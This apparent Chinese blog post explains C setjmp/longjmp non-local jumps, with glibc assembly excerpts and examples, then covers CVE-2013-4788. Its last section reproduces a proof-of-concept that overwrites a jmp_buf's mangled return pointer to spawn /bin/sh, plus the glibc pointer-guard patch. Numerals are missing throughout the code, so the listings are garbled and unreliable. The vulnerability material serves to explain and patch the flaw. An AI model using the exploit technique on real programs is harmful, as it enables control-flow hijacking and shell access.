目录
. 应用场景
. Use Case Code Analysis
. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability
1. 应用场景
非局部跳转通常被用于实现将程序控制流转移到错误处理模块中;或者是通过这种非正常的函数返回机制,返回到之前调用的函数中
. setjmp、longjmp的典型用途是异常处理机制的实现:利用longjmp恢复程序或线程的状态,甚至可以跳过栈中多层的函数调用 . 在信号处理机制中,进程在检查收到的信号,会从原来的系统调用中直接返回,而不是等到该调用完成。这种进程突然改变其上下文的情况,就是通过使用setjmp和longjmp来实现的。setjmp将保存的上下文载入用户空间,并继续在旧的上下文中继续执行。这就是说,进程执行一个系统调用,当因为资源或其他原因要去睡眠时,内核为进程作了一次setjmp,如果在睡眠中被信号唤醒,进程不能再进入睡眠时,内核为进程调用longjmp,该操作是内核为进程将现在的上下文切换成原先通过setjmp调用保存在进程用户区的上下文,这样就使得进程可以恢复等待资源前的状态,而且内核为setjmp返回1,使得进程知道该次系统调用失败 . Linux的Kprobe机制使用setjmp、longjmp设置中断处理函数及回调函数 . C语言中有一个goto语句,其可以结合标号实现函数内部的任意跳转(但是在大多数情况下,都建议不要使用goto语句,因为采用goto语句后,代码维护工作量加大,而且使得代码的结构性变得很差)。另外,C语言标准中还提供一种非局部跳转"no-local goto",其通过标准库<setjmp.h>中的两个标准函数setjmp和longjmp来实现
0x1: 非局部跳转(no-local goto)实现原理
C语言的运行控制模型,是一个基于"栈结构"的"指令执行序列",表现出来就是call/return: call调用一个函数,然后return从一个函数返回。在这种运行控制模型中,每个函数调用都会对应着一个栈帧,其中保存了这个函数的参数、返回值地址、局部变量以及控制信息(从高地址向低地址生长)等内容。当调用一个函数时,系统会创建一个对应的栈帧压入栈中,而从一个函数返回时,则系统会将该函数对应的栈帧从栈顶退出。正常的函数跳转就是这样从栈顶一个一个栈帧逐级地返回
另外,系统内部有一些寄存器记录着当前系统的状态信息,其中包括当前栈顶位置、位于栈顶的栈帧位置以及其他一些系统信息(例如代码段,数据段等等)。这些寄存器指示了当前程序运行点的系统状态,可以称为程序点
在宏函数setjmp中就是将这些系统寄存器的内容保存到jmp_buf类型变量env中,然后在函数longjmp中将函数setjmp保存在变量env中的系统状态信息恢复,此时系统寄存器中指示的栈顶的栈帧就是调用宏函数setjmp时的栈顶的栈帧(这相当于直接强制修改栈帧的状态来改变程序流的目的)。于是,相当控制流跳过了中间的若干个函数调用对应的栈帧,到达setjmp所在那个函数的栈帧
这就是非局部跳转的实现机制,其不同于上面所说的call/return跳转机制
正是因为这种实现机制,需要特别注意的是:"包含setjmp()宏调用的函数一定不能终止"。如果该函数终止的话,该函数对应的栈帧也已经从系统栈中退出,于是setjmp()宏调用保存在env中的内容在longjmp函数恢复时,就不再是setjmp()宏调用所在程序点。此时,调用函数longjmp()就会出现不可预测的错误
Relevant Link:
http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html
https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx
2. Use Case Code Analysis
. 非局部跳转setjmp()
头文件<setjmp.h>中的说明提供了一种避免通常的函数调用和返回顺序的途径,特别的,它允许立即从一个多层嵌套的函数调用中返回
/*
#include <setjmp.h>
int setjmp(jmp_buf env);
*/
) setjmp()宏把当前状态信息保存到env中,供以后longjmp()恢复状态信息时使用
1.1) 如果是直接调用setjmp(),那么返回值为0
1.2) 如果是由于调用longjmp()而调用setjmp(),那么返回值非0
) setjmp()只能在某些特定情况下调用,如在if语句、switch语句及循环语句的条件测试部分以及一些简单的关系表达式中 . 非局部跳转longjmp()
) longjmp()用于恢复由最近一次调用setjmp()时保存到env的状态信息。当它执行完时,程序就象setjmp()刚刚执行完并返回非0值val那样继续执行
) 值得注意的是,包含setjmp()宏调用的函数一定不能已经终止。如果setjmp所在的函数已经调用返回了,那么longjmp使用该处setjmp所填写的对应jmp_buf缓冲区将不再有效。这是因为longjmp所要返回的"栈帧"(stack frame)已经不再存在了,程序返回到一个不再存在的执行点,很可能覆盖或者弄坏程序栈
) 所有可访问的对象的值都与调用longjmp()时相同,唯一的例外是,那些调用setjmp()宏的函数中的非volatile自动变量如果在调用setjmp()后有了改变,那么就变成未定义的
/*
#include <setjmp.h>
void longjmp(jmp_buf env, int val);
*/
0x1: jmp_buf
jmp_buf是setjmp.h中定义的一个结构类型,其用于保存系统状态信息。宏函数setjmp会将其所在的程序点的系统状态信息保存到某个jmp_buf的结构变量env中,而调用函数longjmp会将宏函数setjmp保存在变量env中的系统状态信息进行恢复,于是系统就会跳转到setjmp()宏调用所在的程序点继续进行。这样setjmp/longjmp就实现了非局部跳转的功能
\glibc-2.18\setjmp\setjmp.h
/*
Calling environment, plus possibly a saved signal mask.
*/
struct __jmp_buf_tag
{
/*
NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it.
Do not move these members or add others before it.
*/
__jmp_buf __jmpbuf; /* Calling environment. */
int __mask_was_saved; /* Saved the signal mask */
__sigset_t __saved_mask; /* Saved signal mask. */
}; __BEGIN_NAMESPACE_STD typedef struct __jmp_buf_tag jmp_buf[];
将jmp_buf定义为一个数组,那么可以将数据分配在栈上,但是作为参数传递的时候传的是一个指针
0x2: setjmp
创建本地的jmp_buf缓冲区并且初始化,用于将来跳转回此处。这个子程序(setjmp)保存程序的调用环境于env参数所指的缓冲区,env将被longjmp使用。如果是从setjmp直接调用返回
\glibc-2.18\ports\sysdeps\aarch64\setjmp.S
/* Keep traditional entry points in with sigsetjmp(). */
ENTRY (setjmp)
mov x1, #
b 1f
END (setjmp) ENTRY (_setjmp)
mov x1, #
b 1f
END (_setjmp)
libc_hidden_def (_setjmp) ENTRY (__sigsetjmp) :
stp x19, x20, [x0, #JB_X19<<]
stp x21, x22, [x0, #JB_X21<<]
stp x23, x24, [x0, #JB_X23<<]
stp x25, x26, [x0, #JB_X25<<]
stp x27, x28, [x0, #JB_X27<<]
stp x29, x30, [x0, #JB_X29<<]
stp d8, d9, [x0, #JB_D8<<]
stp d10, d11, [x0, #JB_D10<<]
stp d12, d13, [x0, #JB_D12<<]
stp d14, d15, [x0, #JB_D14<<]
mov x2, sp
str x2, [x0, #JB_SP<<]
#if defined NOT_IN_libc && defined IS_IN_rtld
/* In ld.so we never save the signal mask */
mov w0, #
RET
#else
b C_SYMBOL_NAME(__sigjmp_save)
#endif
END (__sigsetjmp)
hidden_def (__sigsetjmp)
code
/* setjmp example: error handling */
#include <stdio.h> /* printf, scanf */
#include <stdlib.h> /* exit */
#include <setjmp.h> /* jmp_buf, setjmp, longjmp */ main()
{
jmp_buf env;
int val; /*
setjmp会多次返回
setjmp return value
1. 正常调用(保存当前call的env): 返回0
2. 调用longjmp返回: 取决于longjmp的第二个参数
1) longjmp的第二个参数为非0: setjmp返回同样的值
2) longjmp的第二个参数为0: setjmp返回1
*/
val = setjmp (env);
if (val)
{
fprintf (stderr,"Error %d happened\n",val);
exit (val);
} printf("Calling function.\n");
longjmp (env,); /* signaling an error */ return ;
}
aaarticlea/png;base64,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" alt="" />
0x3: longjmp
恢复env所指的缓冲区中的程序调用环境上下文,env所指缓冲区的内容是由setjmp子程序调用所保存。value的值从longjmp传递给setjmp。longjmp完成后,程序从对应的setjmp调用处继续执行,如同setjmp调用刚刚完成
\glibc-2.18\sysdeps\x86_64\__longjmp.S
/* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val). */
.text
ENTRY(__longjmp)
/* Restore registers. */
mov (JB_RSP*)(%rdi),%R8_LP
mov (JB_RBP*)(%rdi),%R9_LP
mov (JB_PC*)(%rdi),%RDX_LP
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (%R8_LP)
PTR_DEMANGLE (%R9_LP)
PTR_DEMANGLE (%RDX_LP)
# ifdef __ILP32__
/* We ignored the high bits of the %rbp value because only the low
bits are mangled. But we cannot presume that %rbp is being used
as a pointer and truncate it, so recover the high bits. */
movl (JB_RBP* + )(%rdi), %eax
shlq $, %rax
orq %rax, %r9
# endif
#endif
LIBC_PROBE (longjmp, , LP_SIZE@%RDI_LP, -@%esi, LP_SIZE@%RDX_LP)
/* We add unwind information for the target here. */
cfi_def_cfa(%rdi, )
cfi_register(%rsp,%r8)
cfi_register(%rbp,%r9)
cfi_register(%rip,%rdx)
cfi_offset(%rbx,JB_RBX*)
cfi_offset(%r12,JB_R12*)
cfi_offset(%r13,JB_R13*)
cfi_offset(%r14,JB_R14*)
cfi_offset(%r15,JB_R15*)
movq (JB_RBX*)(%rdi),%rbx
movq (JB_R12*)(%rdi),%r12
movq (JB_R13*)(%rdi),%r13
movq (JB_R14*)(%rdi),%r14
movq (JB_R15*)(%rdi),%r15
/* Set return value for setjmp. */
mov %esi, %eax
mov %R8_LP,%RSP_LP
movq %r9,%rbp
LIBC_PROBE (longjmp_target, ,
LP_SIZE@%RDI_LP, -@%eax, LP_SIZE@%RDX_LP)
jmpq *%rdx
END (__longjmp)
code
/* longjmp example */
#include <stdio.h> /* printf */
#include <setjmp.h> /* jmp_buf, setjmp, longjmp */ main()
{
jmp_buf env;
int val; val=setjmp(env); printf ("val is %d\n",val); if (!val) longjmp(env, ); return ;
}
aaarticlea/png;base64,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" alt="" />
Relevant Link:
http://my.oschina.net/onethin/blog/27793
https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html
http://www.cplusplus.com/reference/csetjmp/setjmp/
http://www.cplusplus.com/reference/csetjmp/longjmp/
http://zh.wikipedia.org/wiki/Setjmp.h
http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html
http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html
3. 和setjmp、longjmp有关的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability
0x1: poc
CVE(CAN) ID: CVE-2013-4788
glibc是绝大多数Linux操作系统中C库的实现。
glibc 2.4 -2.17版本存在缓冲区溢出漏洞,攻击者可利用此漏洞在受影响应用上下文中执行任意代码
/*
* $FILE: bug-mangle.c
*
* Comment: Proof of concept for glibc versions <= 2.17
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
* Ismael Ripoll <iripoll@disca.upv.es>
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/ #include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h> #ifdef __i386__
#define ROTATE 0x9
#define PC_ENV_OFFSET 0x14
#elif __x86_64__
#define ROTATE 0x11
#define PC_ENV_OFFSET 0x38
#elif __arm__
#define ROTATE 0x0
#define PC_ENV_OFFSET 0x24
#else
#error The exploit does not support this architecture
#endif unsigned long rol(uintptr_t value)
{
// return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
unsigned long ret;
asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : ""(value));
return ret;
} int hacked()
{
printf("[+] hacked !!\n");
system("/bin/sh");
} int main(void)
{
//jmp_buf用于保存恢复调用环境所需的信息
jmp_buf env;
uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET); printf("[+] Exploiting ...\n");
if(setjmp(env) == )
{
printf("[-] Exploit failed.\n");
return ;
} /*Overwrite env return address */
*ptr_ret_env = rol((uintptr_t)hacked); longjmp(env, ); printf("[-] Exploit failed.\n");
return ;
}
简单来说,就是通过覆盖jmp_buf中和返回地址有关的指针,来达到劫持CPU控制流的目的
0x2: pathc
diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c
--- glibc-2.17/csu/libc-start.c -- ::13.000000000 +
+++ glibc-2.17-mangle-fix/csu/libc-start.c -- ::48.000000000 +
@@ -, +, @@ extern void __pthread_initialize_minimal
in thread local area. */
uintptr_t __stack_chk_guard attribute_relro;
# endif
+
+# ifndef THREAD_SET_POINTER_GUARD
+uintptr_t __pointer_chk_guard_local
+ attribute_relro attribute_hidden __attribute__ ((nocommon));
+# endif
+
#endif #ifdef HAVE_PTR_NTHREADS
@@ -, +, @@ LIBC_START_MAIN (int (*main) (int, char
# else
__stack_chk_guard = stack_chk_guard;
# endif
+ uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random,
+ stack_chk_guard);
+# ifdef THREAD_SET_POINTER_GUARD
+ THREAD_SET_POINTER_GUARD (pointer_chk_guard);
+# else
+ __pointer_chk_guard_local = pointer_chk_guard;
+# endif
+
#endif /* Register the destructor of the dynamic linker if there is any. */
Relevant Link:
http://www.mra.net.cn/thread-17257-1-1.html
http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch
http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c
http://sebug.net/vuldb/ssvid-82213
Copyright (c) 2014 LittleHann All rights reserved
setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto的更多相关文章
-
Servlet Exception and Error Handling
Servlet API support for custom Exception and Error Handler servlets that we can congiure in deployme ...
-
Unix系统编程()执行非局部跳转:setjmp和longjmp
使用库函数setjmp和longjmp可执行非局部跳转(local goto). 术语"非局部(nonlocal)"是指跳转目标为当前执行函数之外的某个位置. C语言里面有个&qu ...
-
转 InnoDB Error Handling
14.20.4 InnoDB Error Handling Error handling in InnoDB is not always the same as specified in the SQ ...
-
Error Handling and Exception
